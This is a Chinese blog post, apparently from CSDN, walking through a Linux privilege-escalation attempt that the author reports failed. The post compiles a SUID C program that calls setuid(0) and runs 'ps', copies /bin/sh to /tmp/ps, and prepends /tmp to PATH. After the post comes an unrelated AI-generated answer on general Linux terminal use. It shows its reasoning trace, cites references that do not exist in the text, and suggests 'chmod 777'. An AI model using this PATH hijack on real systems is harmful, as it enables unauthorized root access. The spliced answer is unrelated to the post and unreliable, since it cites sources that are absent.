LINUX 环境变量提权(失败)

文章讲述了Linux系统中利用环境变量进行提权的原理,通过创建C程序设置SUID权限,并尝试替换系统命令来实现提权。然而,在实际操作中,尝试用`./yx`和修改PATH变量后,提权并未成功,留下了问题供读者思考和解决。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

环境变量提权

环境变量提权就是linux在执行系统命令的时候,会调用一些环境变量的文件。

然后我们对环境变量的文件进行替换。

比如说,执行id和执行/bin/id

效果是一样的,可以理解未win安装python时候需要添加环境变量,然后cmd可以直接运行python

接下来是复现过程

写一个c文件放到对方服务器上去编译成第三方软件

yx.c

#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("ps");
}

这是c文件的内容,然后传到目标主机编译成第三方软件

 然后给yx文件SUID权限

 然后

替换

cp /bin/sh /tmp/ps 

export PATH=/tmp:$PATH

./yx

id   查看用户

好,提权失败

不知道为啥 

<think>好的,我现在需要帮助用户了解Linux终端的基本用法和常见问题解决方案。首先,我需要整理用户供的引用资料,看看有没有相关的信息可以直接应用。 用户到了几个引用,其中引用[2]到了在Linux(以Ubuntu 16.04为例)使用apt-get安装依赖库,这可能和终端命令相关。引用[4]到了在MacOS/Linux中添加路径到系统路径,这也涉及终端操作。此外,用户可能需要基本的终端命令,比如导航、文件操作、限管理等。 接下来,我需要按照用户的要求,结构清晰地回答,分步骤说明。可能包括基本命令、常见问题及解决方法。同时,要确保使用正确的中文表达,并按照系统级指令中的格式要求,数学表达式用$...$,独立公式用$$...$$,但这里可能数学公式用得少,主要是代码块和命令示例。 需要检查是否有相关的常见问题在引用中出现,比如安装软件、路径问题、限不足等,然后结合引用中的解决方案。例如,引用[2]中的安装依赖库可能对应到使用apt-get命令,引用[4]中的路径问题需要添加到PATH环境变量。 另外,用户可能需要知道如何检查软件版本,如引用[2]中的python --version,这也属于终端命令的一部分。还有如何运行程序,如引用[1]中的./hello_world,这也是终端的基本操作。 在回答中要自然地添加引用标识,例如在到安装软件时引用[2],在路径配置时引用[4]。生成的相关问题需要考虑用户可能的后续疑问,比如如何编写脚本、解决限问题、配置环境变量等。 最后,确保回答结构清晰,分点说明,代码示例用正确的格式,并遵守用户的所有格式要求。</think>### Linux终端使用指南及常见问题解决方案 #### 一、基础操作 1. **目录导航** - `pwd` 显示当前目录路径 - `cd <目录名>` 切换目录(例如 `cd Documents` 进入文档目录) - `ls` 列出当前目录内容(加参数 `-l` 显示详情,`-a` 显示隐藏文件) 2. **文件操作** - `touch <文件名>` 创建空文件 - `cp <源文件> <目标路径>` 复制文件 - `mv <源文件> <目标路径>` 移动或重命名文件 - `rm <文件名>` 删除文件(加 `-r` 删除目录,如 `rm -r folder`) 3. **限管理** - `chmod +x <文件>` 添加可执行限 - `sudo <命令>` 以管理员限执行命令(例如 `sudo apt update`)[^2] --- #### 二、常见问题及解决方法 1. **程序找不到命令** - **现象**:输入命令后示 `command not found` - **原因**:程序未安装或未加入系统路径 - **解决步骤**: 1. 检查是否安装:`which <命令名>`(例如 `which python3`) 2. 若未安装,使用包管理器安装: ```bash sudo apt-get install <软件包名> # Ubuntu/Debian系统示例 ``` 3. 若已安装但路径未配置,手动添加路径到 `PATH` 环境变量: ```bash export PATH=$PATH:~/自定义路径 # 临时生效[^4] ``` (永久生效需修改 `~/.bashrc` 或 `~/.zshrc` 文件) 2. **限不足导致操作失败** - **现象**:示 `Permission denied` - **解决步骤**: 1. 使用 `sudo` 执行命令 2. 修改文件限:`sudo chmod 777 <文件名>`(谨慎使用) 3. **软件安装依赖冲突** - **现象**:安装时示依赖版本不兼容 - **解决步骤**: 1. 更新软件源:`sudo apt update` 2. 尝试修复依赖:`sudo apt --fix-broken install` --- #### 三、实用技巧 1. **管道与重定向** - `命令 > 文件` 将输出重定向到文件(覆盖) - `命令 >> 文件` 追加输出到文件 - `命令1 | 命令2` 将前者的输出作为后者的输入(例如 `ls | grep .txt`) 2. **后台运行任务** - `命令 &` 后台运行程序(例如 `python3 script.py &`) - `nohup 命令 &` 退出终端后仍保持运行 3. **查看系统信息** - `uname -a` 查看内核版本 - `df -h` 查看磁盘空间 - `free -h` 查看内存使用 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值